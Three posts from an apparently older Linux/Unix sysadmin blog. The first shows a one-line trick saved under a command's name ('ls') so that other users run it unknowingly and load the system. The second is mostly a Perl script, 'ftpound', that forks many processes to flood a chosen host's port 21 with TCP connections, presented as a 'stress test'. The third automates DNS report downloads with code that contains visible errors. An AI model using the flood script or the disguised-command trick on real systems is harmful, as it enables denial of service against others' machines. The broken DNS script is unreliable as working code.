Paying Attention To The Small Things.

Hey There,

Computer security, for Linux and Unix, grew into its own industry probably decades ago, now. It's my own opinion, after working in this arena for around 12 years or so (or is it 11? Time to check my pulse ;) that a lot of time is wasted in middle-corporate America worrying about Sarbanes Oxley and whatever security fad replaces it. I'm not arguing that there shouldn't be high standards for company's who's job it is to "secure" things; like our credit card numbers, social security information and what have you. But, then, most of those folks aren't shooting for Soxley certification; they've already got it and that may make your information safer... probably.

Most places I've passed through, or stayed at for an extended length of time, were generally "in the process" of becoming certified in "this," which was soon to be replaced by "that" certification. And God bless everyone who makes a living trying to keep our stuff as secure as possible. They provide a valuable service and should be respected, even if they do insist that we follow the rules ;)

A lot of times, in this continuous shifting of security paradigms, the little things get overlooked. Thousands of servers will get patched over the course of a year, while accounts with simple passwords (belonging to disgruntled employees who stormed off the job years ago) sit around on, sometimes, publicly accessible boxes. And there's really not too much we can do about it (aside from getting more systems administrators and Unix/Linux professionals on the payroll :) except continue to do what we can to try and keep things sane. There will always be a weakest link in any given system and, for every link, some malcontent looking to "break a link" to let off a little steam ;)

To demonstrate what I mean about the tenuousness of the security we all think we enjoy, I present the following line of code that anyone with sufficient permission (or on a machine that isn't locked down so tightly that it's barely usable) can execute. Of course, the old trick is to get someone else to execute it for you...

(ls -R / &);exec ls

Yes, that's it. That or any other command that's accessible to most users. If you put that line in an executable file called:

ls <--- Or whatever the name of the command you're calling from within your script is.

you can run up some numbers really quick. I realize this is a lame trick, but it's pretty much my policy that I don't put anything out on this blog that's seriously detrimental. Anyone who can program shell or Perl and understands the concepts of forking, exec'ing and/or infinite recursion can come up with a million ways to exploit this weakness. Sometimes it happens by accident, like when they first introduced frames in HTML (Remember that?) Whoops ;)

And here's to the gentleman/lady who, some time in the future, figures out how to make it impossible for people to do this sort of thing while leaving a system usable. As far as I know, at this point, the only protection against attacks from the inside like these is removing all user accounts, including root... and then pulling the plug and dropping a refrigerator on your server; assuming your server isn't the size of a refrigerator. In any event, if you decimate the entire city block your server resides on, that should take care of the issue ;)

I generally have faith in people, and treat them as untrustworthy only after they've shown me that they can't be trusted. I find it hard to have respect for cut-and-paste "script kiddies" who go out and wreak havoc on systems or corporations with little or no understanding of the mechanisms that underlie their reckless behaviour. I do believe that we need to keep paying people to ethically hack our systems regularly. I remember when this was standard practice (perhaps it still is, somewhere in the world I haven't work in a while ;) and it always seemed like a good idea to me. In the worst case, you were allowing someone to channel their destructive urges into something beneficial.

So keep on keeping an eye on the little things. They generally do the most damage. Weakness can be a great strength, as they say. If you find bugs, report them. Help make the world a better place by breaking things. Who could ask to be paid (if not monetarily, then with the respect and/or gratitude of your peers) for anything more fun than that :)

Cheers,

, Mike

linux unix internet technology

Forked Socket Scripting With Perl For Linux and Unix

For today's post, I thought I'd put something out that deals with a subject we've touched on in a previous post, and combine it with a new concept to write a Perl script for Linux or Unix that should be able to run under any shell. When you read the code, you may notice that it closely resembles (if not entirely resembles ;) a network based attack. For our purposes, we'll refer to it as a "stress test" and remind ourselves that it's not a good idea to randomly slam other folks' machines. It's almost instant bad Karma, since you end up depleting all your shell resources running it.

The reason that the sort of scripting we're doing here has the potential to bring down the machine its running on (and, odds are, it won't be able to do enough to crash any other server in the process), is because we're not just doing a simple sequenced packet stress test. In our example today, we're making use of the fork function. This is a built-in function that gets executed behind the scenes on every Unix and/or Linux shell. For instance, if you type the following you'd get similar output:

host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh

Then, if you just type something as simple as:

host # bash
host # ps -fu username
UID PID PPID C STIME TTY TIME CMD
username 28090 28088 0 17:25:51 pts/17 0:00 -ksh
username 28160 28090 0 17:26:14 pts/17 0:00 bash

you'll notice that your shell process ID - 28090 - (from the original line of output) has become the parent process ID of the bash shell you've just invoked - 28160. Your Linux or Unix shell did this by first forking a process off from your main process ID, and then running exec. If you run exec, it replaces the original process with the new process, but that's for another day. I'm already digressing ;)

Check out this forking Perl code (no joke intended ;) and you can see how it's implemented. The basic truths hold for most shells and are put to use (again, behind the scenes) whenever you run any scripts or commands that do anything.

Please remember that this Perl code is just a little Unix and Linux scripting primer and is not meant to be used to the detriment of others. Be kind; relax and rewind ;)

Cheers,





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/local/bin/perl

#
# ftpound - change to whatever port you
# want to stress test.
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

use Socket;
require 5.002;

$port = 21;
$multi = 100;
$forks = 100;
chomp($remote=$ARGV[0]);
if ( $#ARGV != 0 ) {
 print "Usage: ftpound [host name or IP]\n";
 exit;
}  
if ($port =~ /\D/) { $port = getservbyname($port, 'tcp') }
&mail_out unless $port;
$iaddr = inet_aton($remote);
$paddr = sockaddr_in($port, $iaddr);
$multiforks = $multi * $forks;
while ( $forks != 0 )   {
        unless (fork)   {
                &fork_off;
  sleep 1;
        }
        $forks--;
}
exit;

sub fork_off {

 $a = 0;
 $hammertime = $multiforks;
 while ( $hammertime != 0 ) {
  $binger = "HEAVE${a}HO";
  socket($binger, AF_INET, SOCK_STREAM, IPPROTO_TCP) or &clogged_up;
  connect($binger, $paddr) or &clogged_up;
  send($binger, "help", 6) or &clogged_up; 
  $hammertime--;
  $a++;
  if ( $a == 60 ) {
   $a = 0;
  }
 }
}

sub clogged_up   {

 print "If it ain't down yet, it will be in a second...\n";
 $hammertime--;
 $a++;
 next;
}

, Mike

linux unix internet technology

Checking the State of Your DNS Setup Externally!

Every once in a while, it's good practice to take a look at any system you have setup (whether it be a single system, business process, program or computing environment) and make sure it's doing okay. Some sort of regular auditing also helps to find out if there are any areas in which you can make an improvement or fix errors.

One of the areas that seems to require looking over more consistently, is your DNS setup. New versions are released regularly, bugs are found just as regulary, and acceptable syntax can sometime change between releases and/or RFC's.

Note for today's script - It is intended only for your benefit, and I strongly urge you to use any free DNS reporting service you can find to accomplish what we're accomplishing here. I neither work for, nor do I do any afilliate marketing for, www.dnsstuff.com. We only use it where I work, because it's the standard. Probably, most readers already know about it. The site tools require a free registration, if you're not a paying member, but also require a payment for use after 30 DNS Reports. I have placed a very obvious "COMMENT" in the script above the only line you'd need to change to use another service. If you "do" find something equal, or better, I would recommend that you use it (and, maybe, send me an email to let me know the URL so I can check it out and update my scripts, too :) That being said, I'm not trashing them either. If you have to do this sort of thing a lot(for your employer, lets say), the company can probably shell out a few bucks a month for the service. It's worth the price if you need to use it regularly.

Aside from your own internal auditing, it's good to get a fair and objective third-party assessment of the state of your DNS setup. A great site to get this accomplished on the web is located at http://www.dnsstuff.com. They have a tool called "DNS Report" (which used to be its own domain - www.dnsreport.com) which can be used very effectively, even if you choose not to be a paying member of the site. A long long time ago, it was available to everyone for free, but since it's pay-for now, you really have to be careful not to deluge it with requests to check your DNS zones (all 30 of them, if you're doing this for free), or you'll get dumped on their blacklist and barred from using the service at all.

The little Perl script I've written below will help you to automate the usage of that web service for all of your DNS zones. The reports are nice and easy to understand, even for the highest of higher-ups (green = good, red = bad ;) and the service does a very good job of pointing out weaknesses, or areas that don't conform to current RFC expectations, in your DNS zones. This script does require that you have Perl installed (although it's just a script I whipped up so it's submitted under GPL (Gnu Public License), at best, and you can feel free to rewrite it to suite your own needs). It also makes use of curl. You can substitute lynx or wget or any other program that can download and save web pages to your Unix/Linux hard drive. And here it is, below (Please read the comments regarding use of dnsstuff's dnsreport tool):





This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# 2007 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#
# Registration is now required to use this tool - It used to be free.
# When/If you register, be sure to uncheck the two opt-in mail
# checkboxes at the bottom unless you want to receive those emails.
#
# Login to dnsstuff.com before running this script or it will just return
# a page indicating that you need to log in before submitting a full request
# without that request being linked to from one of their pages
#
# Simple Error Checking here, just want to be sure that a file exists at all.
# Disregard everything else on the command line. This script will fail if the
# file named on the command line doesn't include one URL per line, anyway :)

if ( ! -f $ARGV[0] ) {
print "Usage: $0 fileWithUrls\n";
exit(1);
}
$dns_file = $ARGV[0];

open(URL_FILE, "< $dns_file");
@url_file = ;
close(URL_FILE);
$counter = 120;

foreach $url (@url_file) {
print "$url";
$| = 1;
if ($pid = fork) {
if ( $counter = 900 ) {
$counter = 120;
} else {
$counter = $counter+60;
}
print "next\n";
} else {
close (STDOUT);
chomp($url);
#
# COMMENT <--- The Obvious One :)
# CHANGE THE URL ON THIS LINE TO THE URL OF ANY OTHER SITE YOU FIND THAT
# PROVIDES AN EQUAL SERVICE!
#
@output = `curl http://www.dnsstuff.com/tools/dnsreport.ch?domain=$url`;
open(OUTPUT, ">$url.htm");
print OUTPUT @output;
close(OUTPUT);
exit(0);
}
if ( $counter = 900 ) {
$counter = 120;
} else {
$counter = $counter + 60;
}
sleep $counter;
}
exit(0);

And that's that! As I mentioned before, this tool will blacklist you if you hit dnsstuff too hard. My script assumes that you can hit the site at the rate I used last time I used it. Since it's a pay-for service now, I would recommend changing the wait times to at least twice as much. To give you an idea, I ran this when the service was free and ended up getting blacklisted in a under a few hours. Granted, there were certain other factors that contributed to my getting the boot; most prominently that I was checking the DNS for about 300 to 400 zones we were hosting. It could have been left at checking one and making sure all the others were the same, but, as noted above, some bosses like to see reports with lots of colors and lots of pages.

Also, just so you don't feel like I'm leaving you in a lurch, if you do happen to get blacklisted, just go to their member forums (you get access to post to these since you had to do the free registration - you can only browse them if you're not registered) at http://member.dnsstuff.com/forums/ and do a search on "banned," "blacklist" or "black list." Most folks just have to start a thread and request their access back in order to get off the blacklist.

So, be careful out there, and take it slow :)

, Mike

linux unix internet technology